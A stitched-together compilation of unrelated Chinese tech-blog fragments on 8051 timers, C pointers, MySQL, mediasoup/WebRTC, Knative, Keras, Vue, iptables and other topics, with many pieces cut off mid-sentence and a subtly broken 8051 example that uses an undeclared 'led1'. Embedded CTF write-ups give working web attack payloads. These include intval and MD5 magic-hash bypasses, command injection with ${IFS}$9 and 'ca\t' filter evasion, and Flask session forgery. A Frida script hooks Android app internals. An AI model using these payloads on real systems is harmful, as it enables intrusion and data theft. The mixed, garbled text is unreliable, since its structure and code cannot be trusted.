由上可知,每个定时器都有4种工作方式,可通过设置TMOD寄存器中的M1M0位来进行工作方式选择。
四. 计算定时器的初值 定时器一旦启动,它便在原来的数值上开始加1计数,若在程序开始时,我们没有设置TH0和TL0,它们的默认值都是0,假设时钟频率为12MHz,12个时钟周期为1个机器周期,那么此时机器周期就是1us,计满TH0和TL0就需要2^16-1个数,再来一个脉冲计数器溢出,随机向CPU申请中断。因此溢出一次共需65536us,约等于65.5ms。
如果我们要定时50ms的话,就需要给TH0和TL0装一个初值,在这个初值的基础上计50000个数后,定时器中断,此时刚好就是50ms中断一次,当需要定时1s时,我们写程序时当产生20次50ms中断后便认为是1s。
要计50000个数时,TH0和TL0中应该装入的总数是65536-50000=15536,把15536对256求模:
15536/256=60装入TH0中,把15536对256取余:15536%256=176装入TL0中。
总结如下:
当用定时器的方式1时,设机器周期为Tcy,定时器产生一次中断的时间为t,那么需要计数的个数N=t/Tcy,装入THX和TLX中的数分别为:
THX=(65536-N)/256,TLX=(65536-N)%256
五. 中断服务程序的写法 C51的中断服务函数格式如下:
void 函数名()interrupt 中断号 using 工作组
{
中断服务程序内容
}
中断函数不能返回任何值,所以最前面用void;后面紧跟函数名,名字可以随便起,但是不要与C语言中的关键字相同;中断函数不带任何参数,所以函数名后的小括号内为空;中断号是指单片机中几个中断源的序号,这个序号是编译器识别不同中断的唯一符号;最后的“using工作组”是指这个中断函数使用单片机内存中4组工作寄存器中的哪一组,C51编译器在编译程序时会自动分配工作组,因此此句通常省略。
举例:利用定时器0工作方式1,实现一个发光管以1s亮灭闪烁
#include <reg52.h> #define uchar unsigned char #define uint unsigned int sbit led = P1^0; uchar num; void main() { TMOD=0x01; //设置定时器0为工作方式1(M1M0为01) TH0=(65536-45872)/256; //装初值11.0592M晶振定时50ms数为45872 TL0=(65536-45872)%256; EA=1; //开总中断 ET0=1;//开定时器0中断 TR0=1; //启动定时器0 while(1) { if(20 == num) { num=0; led1=~led1; } } } void T0_time()interrupt 1 { TH0=(65536-45872)/256; //重装初值 TL0=(65536-45872)%256; num++; } 注意:一般在中断服务程序中不要写过多的处理语句,因为如果语句过多,中断服务程序中的代码还未执行完毕,而下一次中断又来临,这样我们就会丢失这次中断。因此,能在主程序完成的功能就不要在中断函数中写。
前言:本篇文章将继续讲解有关指针的剩余基础知识。
学无止境,一起加油叭!!
目录
一.指针运算
1.指针 +- 整数
2.指针的关系运算
3.指针 - 指针
二.指针与数组
三.二级指针
四.指针数组
总结
一.指针运算 指针运算包括以下三种:
指针 +- 整数指针 - 指针指针的关系运算 1.指针 +- 整数 我们尝试用指针来打印一个数组的内容:
#include<stdio.h> int main() { int arr[10] = { 1,2,3,4,5,6,7,8,9,10 }; int* p = arr;//数组名是数组首元素的地址 int i = 0; for (i = 0; i < 10; i++) { printf("%d ", *(p + i)); } return 0; } 我们在指针(上)中已经了解到,指针+-整数能够实现指针的跳动。
那么我们便能够根据这个办法来实现打印数组:
p指向的是数组的首元素地址,那么p + i就等于是指针跳到了数组下标为 i 的元素的地址。
进入环境就叫我hack它,主要是这个网页名称是什么东西,看不懂,源码也没什么提示,尝试扫描后台 扫出来一个robots.php,尝试访问访问后,又得到一个路径
访问后会得到一个假的flag
在开发者工具中,找到可疑路径 得到一串源码,不过有些字是乱码
应该是字符编码的问题,百度了一个插件 charset
修改为utf-8后,就不会出现乱码了
代码中首先要绕过的是intval函数,这里又涉及到一个intval函数的性质
此函数在处理数据时会在接触到字符串时停止,因此如果输入100e2之类的数据,会解释成100,但后面在执行+1时,100e2是科学计数法,所以会解析成10000,因此此处使用100e2绕过
第二处要传入的参数与其MD5值相等 md5=0e215962017
绕过成功 最后一处需要绕过的地方是,strstr的字符串匹配,这里的意思是检测$get_flag中是否存在空格,如果不存在就将其中的cat替换为wctf2020
中心思想就是过滤空格和cat
直接先利用ls查看文件,前面的都是访问过的,所以我们把目光放在这个奇特的名称文件上,过滤了空格我们可以采取 ${IFS}$9绕过,而且我们执行命令也不止一个cat能查看文件
以下这三种都可以
num=100e2&md5=0e215962017&get_flag=more${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag num=100e2&md5=0e215962017&get_flag=tac${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag num=100e2&md5=0e215962017&get_flag=ca\t${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 绕过成功
进入环境后是一个输入框,可以提交名字
然后就可以点击获取flag,结果回显提示,需要获取管理员
可以尝试将名字改为admin
触发报错,说明可能存在其他的验证是否为管理员的方式
通过抓包后,在cookie字段发现了 特殊的东西,前面翻译过来跟题目没有太大关系,所以最后就看session字段,看着不像是base64,burp解码也不行
最后查看wp,结果发现还是base64,不过有些字符是乱码,所以一般的工具解密不出来
解码后确实有不可见字符,而且是json字符串
根据题目提示,和本题环境为flask,得知本题考察session伪造
但是没有secret_key,有点离谱的是,看了几个wp都说直接盲猜是比赛名称 LitCTF 拿到flag
进入环境有一个点击标签,点击 后触发提示,flag就在附近 习惯性查看源码,得到路径提示 访问后,得到源码,源码中存在三个路由,前两个都是GET方式,已经访问过了,最后一个PUT是什么请求方式?
查询资料后,得知是不常用的请求方式,对应着修改,看到这个请求头,想到可以直接使用burp抓包更改请求,不知道行不行
测试成功,直接修改就可以了,后续补充请求方式的解析
进入环境看起来还是挺牛逼的,但是在右边输入框下有一个执行代码,有点牛
真的可以直接执行,那么
根据题目提示,我们得知flag,在根目录,所以我们可以直接利用 查看到flag位置
得到flag
在《MySql000——MySql数据库管理系统的下载、安装以及使用图形化工具MySQL Workbench创建数据库和表》中,我们使用图形化工具MySQL
Workbench创建数据库和表,下面我们将使用SQL来实现这一过程
一、数据库操作 1.1、创建数据库 1.1.1、创建MySQL数据库通用写法 使用 create 命令创建数据库,语法如下:
CREATE DATABASE 数据库名; 1.1.2、最正规的写法 要使用MySQL的SQL语句来创建一个名为"study"的数据库并设置字符集为utf8,最正规的写法应如下:
CREATE DATABASE IF NOT EXISTS study CHARACTER SET utf8 COLLATE utf8_general_ci; 这个命令是这样执行的:
1、首先使用IF NOT EXISTS子句判断当"study"数据库不存在时,然后才创建该数据库
2、同时,该数据库字符集被设置为utf8,字符集校对规则(Collation)被设置为utf8_general_ci,这是一个常见的不区分大小写的utf8字符集校对规则。
3、请注意,这是MySQL的标准写法。
1.2、删除数据库 DROP DATABASE <数据库名>; 1.3、选择数据库 USE <数据库名>; 二、表的操作 数据库和表之间的关系是:一个数据库中包含多张表。
2.1、创建数据表 2.1.1、创建MySQL数据表的SQL通用语法 使用 create 命令创建数据表,语法如下:
CREATE TABLE table_name (column_name column_type); /* 说明: table_name 表名 column_name 列名 column_type 列数据类型 */ 下面使用SQL在study数据库中创建user表,user表有4个字段index、user_id、user_name、password
USE `study`; -- 选择使用study数据库 CREATE TABLE IF NOT EXISTS `user`( `index` INT NOT NULL, -- NOT NULL设置字段不能为空,在操作数据库时如果输入该字段的数据为NULL ,就会报错。 `user_id` INT UNSIGNED AUTO_INCREMENT, -- AUTO_INCREMENT定义列为自增的属性,一般用于主键,数值会自动加1。 `user_name` VARCHAR(100) NOT NULL, -- VARCHAR(100)表示该字段最大字符的个数是100 `password` VARCHAR(40) NOT NULL, PRIMARY KEY ( `user_id` ) -- PRIMARY KEY关键字用于定义列为主键。 您可以使用多列来定义主键,列间以逗号分隔。 )ENGINE=InnoDB DEFAULT CHARSET=utf8; -- ENGINE 设置存储引擎,CHARSET 设置编码。 /* 对UNSIGNED的特别说明: 默认的 int 类型,取值范围是 -2147483648-2147483647 之间,而 unsigned 的取值范围是 0-4294967295 之间。 默认的 int 类型,允许插入负数,unsigned 设置后,无法插入负数。 */ 2.
一. mediasoup重要类说明 Worker:mediasoup 流媒体处理进程
Router:路由对象,类似于房间的功能,保存了流之间的订阅关系,它接收 Producer 的数据并转发给订阅该 Producer 的 Consumer
Producer:音视频流生产者,一路音频就算一个单独的生产者,一路视频也算一个单独的生产者
Consumer:音视频流消费者
Transport:传输通道,有 WebRtcTransport,PlainRtpTransport 以及 PipeTransport
上图解释如下:一个 Worker 可以有多个 Router,客户端通过 Transport 与后台进程产生连接,并通过 Transport 发送流数据或者消费流数据。通道有多种类型,有基于 WebRTC 协议的通道,也有普通的 RTP/RTCP 通道,还有不同 Router 间转发数据的 PipeTransport。
二. 数据路由代码剖析 1. 创建 Router Websocket 监听连接请求并创建媒体层的路由对象。
2. 创建 Transport 通过 Websocket 信令创建房间路由后,客户端与媒体需要建立通道,客户端可以通过通道把媒体流发送给服务端(生产),也可以通过通道消费其他流的数据(消费)。Transport 有 PlainTransport,WebRtcTransport 等,我们以 WebRtcTransport 为例。
WebRtcTransport 的构造函数中通过 listenIp, port 创建 UdpSocket,UdpSocket 继承自 UdpSocketHandler,UdpSocketHandler 包含了 uv_udp_t* 对象,它是一个 libuv 的 UDP 事件处理对象,我们通过注册相应的回调函数即可在有事件发生时调用回调函数处理。
在服务端创建 WebRtcTransport 对象后,还需要通过 connectWebRtcTransport 才能让客户端与该通道对象产生关联,该流程主要是进行 DTLS 认证。
目录
一. 前言
二. REMB-GCC算法原理
1. 接收端基于延时梯度的带宽预估
(1)Arrival-time filter
(2)Overuse Detector
(3)Adaptive threshold
(4)Remote Rate Controller
(5)Remb Processing
2. 发送端基于丢包的带宽预估
三. 参考资料
一. 前言 在网络传输中,所有应用程序都需要拥塞控制以避免网络出现拥塞的情况,对于音视频传输也是如此,假设发送方以某个码率值发送数据,但是网络出现拥塞,此时发送方应该降低发送码率,当网络拥塞情况好转,发送方又可以提升发送码率。
GCC 算法是出自 Google 的一种结合延时梯度和丢包率的拥塞控制算法,WebRTC 默认使用该算法。
该算法有两个版本,版本一是由接收端对延时梯度进行估计,计算预估带宽后通过 RTCP REMB 报文反馈给发送端,发送端基于丢包率也进行带宽评估,最终的发送码率选用二者的较小值,这个版本称为 REMB-GCC。
版本二是将使用延时梯度以及丢包率进行估算的逻辑都放在发送端,接收端仅定时向发送端反馈收包情况,这个版本称为 TFB-GCC。
本文主要讲解 REMB-GCC,关于 TFB-GCC 也会在后续文章进行讲解。
二. REMB-GCC算法原理 如上是 REMB-GCC 的架构图,左边是发送端部分,右边是接收端部分。
接收端负责收包并计算延时梯度,根据延时梯度评估网络当前处于 overuse/normal/underuse 状态,并评估接收端最大码率,这部分主要分为 Arrival filter,Overuse Detector,Adaptive threshold,Remote Rate Controller 以及 Remb Processing 模块。
发送端使用丢包率进行带宽预估,最终结合接收端反馈的带宽以及基于丢包率预估的带宽选择较小值作为最终带宽,这个最终带宽会通知给 Encoder,Pacer 和 FEC 模块以供模块内部做一些调整。
1. 接收端基于延时梯度的带宽预估 如上所示,发送端在 T(i-1) 和 T(i) 发送了两个数据包,接收端分别在 t(i-1) 和 t(i) 接收到了这两个数据包,那么延时梯度 d(t(i)) = [t(i) - t(i-1)] - [T(i) - T(i-1)]。
一. 前言 mediasoup 支持多种类型的 Transport,有 WebRtcTransport,PlainTransport 以及 PipeTransport,对于 WebRtcTransport 目前 mediasoup 最新版本已经支持多个 WebRtcTransport 共用单个端口的模式了,而在此之前每个 WebRtcTransport 都需要使用一个端口,对于 PlainTransport 和 PipeTransport 现在还是每个通道需要对应一个端口。
二. WebRtcTransport单端口设计 mediasoup-demo-server 的启动配置文件中有 webRtcServerOptions 的配置选项,每个 worker 创建后 nodejs 层会通过 worker.createWebRtcServer 创建一个 WebRtcServer 的实例对象,WebRtcServer 具有 WebRtcTransport 的能力,如下所示。
对于上述配置,如果启动了多个 mediasoup-worker,不同 worker 监听的是不同的端口,第一个 worker 监听 44444,第二个 worker 监听 44445,以此类推。
当 mediasoup-client 调用 createWebRtcTransport 信令请求创建一个 WebRtc 通道时,nodejs 会通过 router.createWebRtcTransportWithServer 方法请求 mediasoup-worker,mediasoup-worker 创建 WebRtcTransport 是先通过 WebRtcServer 进行处理的,candidate 中填充的 port 信息都是 WebRtcServer 监听的 port,所以同一个 mediasoup-worker 上的所有 WebRtcTransport 使用的端口都是相同的。
部署wvp 系统环境 系统版本:centos 7.9
安装java、git yum install java-11-openjdk git tar vim 安装ffmepg #安装EPEL Release,因为安装需要使用其他的repo源,所以需要EPEL支持: sudo yum install -y epel-release #如果出现缺少Code提示,可以: sudo rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 #安装完成之后,可以查看是否安装成功 sudo yum repolist # 安装Nux-Dextop源 # 导入一个Code sudo rpm --import http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro #安装nux-dextop 源 sudo rpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-1.el7.nux.noarch.rpm #查看repo源是否安装成功 sudo yum repolist # yum安装ffmpeg: sudo yum install -y ffmpeg # 安装完成后检查ffmpeg 版本: ffmpeg -version 编译zlm 安装编译工具 sudo yum install cmake3 gcc gcc-c++ 编译zlm git clone https://gitee.
version: 23.9
X-SS=STUB:
搜索:x-tt-dt var hashMap = Java.use("java.util.HashMap");
hashMap.put.implementation = function (a, b) {
console.log("hashMap.put: ", a, b);
return this.put(a, b);
}
常见算法Hook:
# -*- coding: utf-8 -*-
import frida
import sys
# HOOK指定类的所有重载方法
jscode = """
Java.perform(function() {
//Base64
var base64=Java.use('android.util.Base64');
var string=Java.use('java.lang.String');
/*base64.encode.overload('[B', 'int', 'int', 'int').implementation = function(){
send("=================base64 encode====================");
send(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Throwable").$new()));
send(arguments[0]);
send(arguments[1]);
send(arguments[2]);
send(arguments[3]);
var data=this.encode(arguments[0],arguments[1],arguments[2],arguments[3])
send("base64:"+string.$new(data));
return data;
}*/
/*base64.decode.overload('[B', 'int', 'int', 'int').implementation = function(){
报错 Duplicate keys detected: '1'. This may cause an update error.
注释: 检测到重复密钥:‘1’。这可能会导致更新错误。
因为你在同一个页面有两个for循环,导致索引发生错误,不知道选择那个为中,因此报了这种错,应做一个索引划分
<div v-for="(item, index) in list" :key="index"></div> <div v-for="(itm, index) in listdata" :key="index"></div> <div v-for="(item, inex) in list" :key="inex"></div> <div v-for="(itm, index) in listdata" :key="index"></div> 在同一个页面存在两个for循环的话,上面这两种都会出错
解决 首先判断是因为for循环导致的,检查是否出现重复。
笔者是同一个页面两处for循环导致
解决方法:如下,随便给其中一个加一个字符就好了
<div v-for="(item, index) in list" :key="index+'g'"></div> <div v-for="(itm, index) in listdata" :key="index"></div>
今天写代码的时候偶然发现数据经过保存后再读取数据,一些包含纯数字的字符串类型的数据会修改部分数据的数据类型,如下:
这是一开始读取出来的数据,全部都是字符串
在经过保存后重新读取数据,会发现部分字符串类型的数据被修改为整数类型:
这可能会导致后面代码报错或者结果出错。因此我们可以在每次读取数据之后加多一步,将所有非数字列转换为全字符串类型
def convert_non_numeric_columns_to_string(dataframe): for column in dataframe.columns: if not pd.api.types.is_numeric_dtype(dataframe[column]): dataframe[column] = dataframe[column].astype(str) convert_non_numeric_columns_to_string(Data1) 调用一下这个函数即可解决这个问题
《OpenShift 4.x HOL教程汇总》
说明:本文已经在OpenShift 4.13 + OpenShift Serverless 1.29.1环境中验证
文章目录 Knative Serving的核心对象创建Knative Serving应用通过Configuration和Route实现蓝绿部署通过Service部署应用 Knative Serving的核心对象 一个 Knative 应用主要包括四类对象:Service(不同于Kubernetes的Service)、Route(类似但不是OpenShift的Route)、Configuration、Revision。
Service(不同于Kubernetes的Service):它是一个集合,可以在Service中通过Template定义Knative的Route和Configuration对象。Configuration(类似OpenShift的DeploymentConfig): 创建并记录所有Revision的情况。用kn命令更新Service的时候实际就是在更新Configuration,而每次更新Configuration都会生成一个新的Revision。Revision:是一个特定的应用和配置环境的快照。该对象一旦生成就不可更改了(Immutable)。一个Revision对象对应一个Kubernetes Deployment对象。由于每次更新Configuration对象都会生成一个新的Revision,因此要不然每次都指定一个不同的Revision名称,要不就让Knative自动生成一个Revision名称。Route(类似但不是OpenShift的Route对象):Knative的Route是运行在也是用来做请求分发路由的,它是用Istio VirtualRoute实现,它定义了请求如何通过Traffic策略发给指定的Revision。蓝绿部署和金丝雀发布都是通过Route实现的。 无服务器应用的特点就是当没有外部请求的时候服务器是不需要运行Pod,只有在有请求的时候在启动Pod运行应用处理请求。在Knative中,这种按需的运行应用的效果是通过Activator和Autoscaler实现的。我们可以在OpenShift中的knative-serving项目中看到相关的支撑环境。
当首次通过Route访问Knative应用(假设此时还没有运行应用的Pod)的时候,请求将会先被Route发给Activator,Activator会激活目标Revision环境,Revision在通过Kubernetes Deployment启动Pod运行应用。这个过程完成了从无服务器到有服务器的过程,当有服务器运行Pod后就可以处理请求了。当已经有运行应用的Pod的情况下,Route会直接将请求发给和Revsion对应的Pod。Autoscaler会监控Revision中的Pod运行其情况并收集Metrics数据,然后根据策略决定是扩展还是收缩Pod的数量。而扩展或收缩的动作是Revision通知Kubernetes的Deployment完成的。 创建Knative Serving应用 一个Knative Serving应用包括Service、Route、Configuration、Revision对象。他们的关系是Service=Route+Configuration,因此可以通过分别操作Route和Configuration或操作Service实现对Knative Serving应用的配置。
通过Configuration和Route实现蓝绿部署 创建新项目。 $ oc new-project kn-blue-green 创建名为blue-green-demo的Configuration对象,该对象使用的镜像是“knative-route-demo:blue”。 $ oc apply -f - << EOF apiVersion: serving.knative.dev/v1 kind: Configuration metadata: name: blue-green-demo spec: template: spec: containers: - image: svennam92/knative-route-demo:blue env: - name: T_VERSION value: "blue" EOF 查看项目中的对象,可以看到伴随Configuration还生成了Revision、Deployment、Replicset和Pod。其中Revision名为自动生成的blue-green-demo-jvtg7。 $ oc get all -n kn-blue-green NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE service/blue-green-demo-00001 ClusterIP 172.
model.compile函数详解 前言方法的历史方法的优点与其他方法的不同之处使用方法示例代码参数介绍结构图计算过程总结 前言 在深度学习模型训练中,model.compile()函数是一个非常重要的步骤。该函数用于编译模型,并为训练过程指定各种参数和配置。本文将详细介绍model.compile()函数的使用方法,包括历史、优点和与其他方法的差异,并给出详细的步骤和示例代码。
方法的历史 model.compile()函数是Keras框架提供的API之一,它的出现可以追溯到深度学习框架早期(约2015年)。最初的Keras版本是一个高阶神经网络API,并且可以在多个深度学习后端(如TensorFlow、Theano等)上运行。随着Keras在深度学习社区的不断普及和发展,人们开始更多地使用Keras本身以及其默认后端TensorFlow。
model.compile()函数被设计为一个编译器,用于将模型的图形结构定义与计算引擎进行链接,以实现优化、损失函数的选择和训练过程的配置。
方法的优点 使用model.compile()函数的主要优点如下:
灵活的优化选择:model.compile()函数允许用户选择不同的优化器(optimizer),如Adam、SGD等。这使得用户可以根据需求选择最适合特定任务的优化算法。
自定义损失函数:通过loss参数,用户可以自定义模型的损失函数。这种灵活性使得用户可以应对各种不同的学习任务,如分类、回归等。
评估指标的选择:用户可以使用metrics参数自定义评估指标。这些指标将在训练过程中被计算和记录,并可用于判断模型的性能。
其他可选参数配置:model.compile()还接受其他一些可选参数,如学习率(learning rate)、权重衰减(weight decay)等。这些参数可用于进一步优化模型的训练过程。
与其他方法的不同之处 在其他深度学习框架(如PyTorch)中,相当于model.compile()的函数通常是在模型定义之后进行的。然而,Keras采用了一种不同的方式,将模型定义、编译以及最终的训练过程归为一个整体。这种设计使得使用Keras编写、训练和评估模型变得更加方便和简洁。
另外,与一些底层深度学习框架相比,Keras提供了更高层次的抽象,并隐藏了许多底层细节。这使得初学者能够更容易地上手,并且可以更快地构建、训练和测试模型。
使用方法 以下是使用model.compile()函数的基本步骤:
创建模型对象(例如 model = Sequential())。
向模型中添加各种层和配置参数(例如 model.add(Dense(64, activation='relu')))。
使用model.compile()函数进行编译,并指定相关参数。例如:
model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy']) 在上述示例中,我们选择了Adam优化器、交叉熵损失函数,并指定了精度作为评估指标。
在编译完成后,可以使用model.fit()函数对模型进行训练。
示例代码 下面是一个使用model.compile()函数的示例代码:
import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense # 创建模型 model = Sequential() # 添加层 model.add(Dense(64, activation='relu')) model.add(Dense(10, activation='softmax')) # 编译模型 model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy']) 参数介绍 下面是model.compile()函数的常用参数:
optimizer:选择优化器,例如'adam'、'sgd'等。
loss:指定损失函数,例如'categorical_crossentropy'。
metrics:选择评估指标,可以是一个或多个。
loss_weights:指定不同损失函数的权重。
Take Home Message: 本文是“利用ChatGPT和MAKE法实现新知识快速学习及变现”的方法,该方法将学习新知识学习和开发成本由数周降低到半小时,即:
-->问原理和便于理解的案例【算法核心,不轻易变,需仔细学习】(25mins)
-->问行业使用现状、最新技术【易变】(2mins)
--->问用最新技术解决某客户实际问题的具体代码【易变】(2mins)
一、理解算法哲学思想和简易例子 问:请帮我详细讲一讲退火算法的原理
Chatgpt答:
退火算法是一种基于模拟物理退火过程的全局优化算法,它的基本思想是通过模拟物理退火过程,使系统从高能状态逐渐转化为低能状态,从而达到全局最优解。 具体来说,退火算法的原理如下: 1. 初始化:随机生成一个初始解,设为当前解,并设定一个初始温度。 2. 选择邻域解:在当前解的邻域中随机选择一个解。 3. 计算能量差:计算当前解与邻域解之间的能量差。 4. 判断是否接受邻域解:如果邻域解的能量比当前解低,则接受邻域解作为新的当前解;否则以一定概率接受邻域解,概率由当前温度和能量差决定。 5. 降温:降低温度,使得接受邻域解的概率逐渐降低。 6. 终止条件:重复以上步骤,直到达到终止条件,如温度降到一定程度或达到最大迭代次数。 退火算法的核心是在搜索过程中接受一些劣解,以避免陷入局部最优解。在初始温度较高时,算法容易接受劣解,随着温度的降低,接受劣解的概率逐渐降低,最终达到全局最优解。 退火算法的优点是可以避免陷入局部最优解,适用于求解复杂的全局优化问题。缺点是需要调节一些参数,如初始温度、降温速率等,且算法的收敛速度较慢。
问:给我用python举个简单的利用退火算法解决问题的代码例子。
ChatGPT:
以下是一个简单的利用退火算法解决TSP问题的Python代码。该代码使用退火算法解决TSP问题,其中cities表示城市坐标,simulated_annealing函数是退火算法的实现,path_length函数用于计算路径长度。在测试中,我们使用了一个包含5个城市的例子,输出最优路径和路径长度。:
import random import math # 计算两个城市之间的距离 def distance(city1, city2): return math.sqrt((city1[0]-city2[0])**2 + (city1[1]-city2[1])**2) # 计算路径长度 def path_length(path, cities): length = 0 for i in range(len(path)-1): length += distance(cities[path[i]], cities[path[i+1]]) length += distance(cities[path[-1]], cities[path[0]]) return length # 退火算法 def simulated_annealing(cities, T=10000, alpha=0.
省流 这个就行
SELECT CASE WHEN ELT(INTERVAL(CONV(HEX(LEFT(CONVERT(`title` USING gbk),1)),16,10),0xB0A1,0xB0C5,0xB2C1,0xB4EE,0xB6EA,0xB7A2,0xB8C1,0xB9FE,0xBBF7,0xBFA6,0xC0AC,0xC2E8,0xC4C3,0xC5B6,0xC5BE,0xC6DA,0xC8BB,0xC8F6,0xCBFA,0xCDDA,0xCEF4,0xD1B9,0xD4D1),'A','B','C','D','E','F','G','H','J','K','L','M','N','O','P','Q','R','S','T','W','X','Y','Z') REGEXP '[a-z]' THEN ELT(INTERVAL(CONV(HEX(LEFT(CONVERT(`title` USING gbk),1)),16,10),0xB0A1,0xB0C5,0xB2C1,0xB4EE,0xB6EA,0xB7A2,0xB8C1,0xB9FE,0xBBF7,0xBFA6,0xC0AC,0xC2E8,0xC4C3,0xC5B6,0xC5BE,0xC6DA,0xC8BB,0xC8F6,0xCBFA,0xCDDA,0xCEF4,0xD1B9,0xD4D1),'A','B','C','D','E','F','G','H','J','K','L','M','N','O','P','Q','R','S','T','W','X','Y','Z') WHEN UPPER(SUBSTRING(`title`,1,1)) REGEXP '[a-z]' THEN UPPER(SUBSTRING(`title`,1,1)) WHEN UPPER(SUBSTRING(`title`,1,1)) REGEXP '[0-9.]' THEN '0-9' ELSE '其他' END AS nameFirst FROM journal 一、使用函数etl语法 语法 SELECT ELT(INTERVAL(CONV(HEX(LEFT(CONVERT('汉语' USING gbk),1)),16,10), 0xB0A1,0xB0C5,0xB2C1,0xB4EE,0xB6EA,0xB7A2,0xB8C1,0xB9FE,0xBBF7, 0xBFA6,0xC0AC,0xC2E8,0xC4C3,0xC5B6,0xC5BE,0xC6DA,0xC8BB,0xC8F6, 0xCBFA,0xCDDA,0xCEF4,0xD1B9,0xD4D1), 'A','B','C','D','E','F','G','H','J','K','L','M','N','O','P', 'Q','R','S','T','W','X','Y','Z') 解析:ELT(INTERVAL(CONV(HEX(LEFT(CONVERT(‘汉语’ USING gbk),1)),16,10),
# 对汉字进行编码 CONVERT('汉语',USING gbk) # 取汉字(字符串)的第一个字 LEFT(CONVERT('汉语'USING gbk),1) # 转换成十六进制编码 HEX(LEFT(CONVERT('汉语' USING gbk),1)) # 十六进制转成十进制 CONV(HEX(LEFT(CONVERT('汉语' USING gbk),1)),16,10) # INTERVAL(N,N1,N2,N3,…) N1,N2,N3,…为递增的有序整数。函数返回N在有序整数中的位置。 INTERVAL(CONV(HEX(LEFT(CONVERT('汉语' USING gbk),1)),16,10) # ELT(N,str1,str2,str3,…) 若N = 1,则返回值为 str1 ,若N = 2,则返回值为 str2 ,以此类推 使用的函数中的单个作用 ELT(N,str1,str2,str3,…) 若N = 1,则返回值为 str1 ,若N = 2,则返回值为 str2 ,以此类推。
源机器: 192.168.0.2
转发机: 192.168.0.1
云后台参考文档1: https://support.huaweicloud.com/usermanual-ecs/ecs_03_0705.html
云后台参考文档2: https://support.huaweicloud.com/ecs_faq/ecs_faq_1328.html#section2
这个转发是针对vpc做的,如果后端主机分布在不同的vpc下,可以通过不同的代理转到后端
首先路由表的目的端0.0.0.0只的是公网到下一条的代理主机,这个规则只能设置一遍。也就是说代理只能有一个。所有vpc下的主机只能从这一个代理进出。
代理只能有一个,路由表是关联在vpc,vpc下子网默认是互通的。系统内网地址是通过vpc获取的。所以os跳转受vpc约束。
拒绝安装iptables-services服务,只能使用系统自带的iptables,所以请使用系统指令查询iptables -t nat --list
echo net.ipv4.ip_forward=1 >> /etc/sysctl.conf sysctl -p /etc/sysctl.conf iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24 -j SNAT --to 192.168.0.1 iptables -t nat -A PREROUTING -d 192.168.0.1 -p tcp --dport 18102 -j DNAT --to-destination 192.168.0.2:18102 iptables -t nat -A POSTROUTING -d 192.168.0.2 -p tcp --dport 18102 -j SNAT --to 192.
MySQL 中读写分离可能遇到的问题 前言 MySQL 中读写分离是经常用到了的架构了,通过读写分离实现横向扩展的能力,写入和更新操作在源服务器上进行,从服务器中进行数据的读取操作,通过增大从服务器的个数,能够极大的增强数据库的读取能力。
MySQL 中的高可用架构越已经呈现出越来越复杂的趋势,但是都是才能够最基本的一主一从演化而来的,所以这里来弄明白主从的基本原理。
首先来弄明白主从和主备,以及双主模式之间的区别
双主
有两个主库,每个主库都能进行读写,并且两个主库之间都能进行数据的同步操作。
主从
主从中,数据写入在主节点中进行,数据读取在从节点中进行,主库会同步数据到从库中。
主备
主备,备库只是用来进行数据备份,没有读写操作的发生,数据的读取和写入发生在主库中,主库会同步数据到备库中。
下面讨论的数据延迟,主要是基于主从模式。主从,主备,双主数据同步原理一样,这里不展开分析了。
读写分离的架构 常用的读写分离有下面两种实现:
1、客户端实现读写分离;
2、基于中间代理层实现读写分离。
基于客户端实现读写分离 客户端主动做负载均衡,根据 select、insert 进行路由分类,读请求发送到读库中,写请求转发到写库中。
这种方式的特点是性能较好,代码中直接实现,不需要额外的硬件支持,架构简单,排查问题更方便。
缺点需要嵌入到代码中,需要开发人员去实现,运维无从干预,大型代码,实现读写分离需要改动的代码比较多。
基于中间代理实现读写分离 中间代理层实现读写分离,在 MySQL 和客户端之间有一个中间代理层 proxy,客户端只连接 proxy, 由 proxy 根据请求类型和上下文决定请求的分发路由。
带 proxy 的架构,对客户端比较友好。客户端不需要关注后端细节,连接维护、后端信息维护等工作,都是由 proxy 完成的。但这样的话,对后端维护团队的要求会更高。而且,proxy 也需要有高可用架构。因此,带 proxy 架构的整体就相对比较复杂。
不过那种部署方式都会遇到读写分离主从延迟的问题,因为主从延迟的存在,客户端刚执行完成一个更新事务,然后马上发起查询,如果选择查询的是从库,可能读取到的状态是更新之前的状态。
MySQL 中如何保证主从数据一致 MySQL 数据进行主从同步,主要是通过 binlog 实现的,从库利用主库上的binlog进行重播,实现主从同步。
来看下实现原理
在主从复制中,从库利用主库上的 binlog 进行重播,实现主从同步,复制的过程中蛀主要使用到了 dump thread,I/O thread,sql thread 这三个线程。
IO thread: 在从库执行 start slave 语句时创建,负责连接主库,请求 binlog,接收 binlog 并写入 relay-log;
dump thread:用于主库同步 binlog 给从库,负责响应从 IO thread 的请求。主库会给每个从库的连接创建一个 dump thread,然后同步 binlog 给从库;
一、近源渗透 近源渗透测试是网络空间安全领域逐渐兴起的一种新的安全评估手段。
它是一种集常规网络攻防、物理接近、社会工程学及无线电通信攻防等能力于一体的高规格网络安全评估行动。网络安全评估小组在签订渗透测试授权协议后,通过乔装、社工等方式实地物理侵入企业办公区域,通过其内部各种潜在攻击面(如Wi-Fi网络、RFID门禁、暴露的有线网口、USB接口等)获得“战果”,最后以隐秘的方式将评估结果带出上报,由此证明企业安全防护存在漏洞。
1.1 常见方式 1.无线网卡
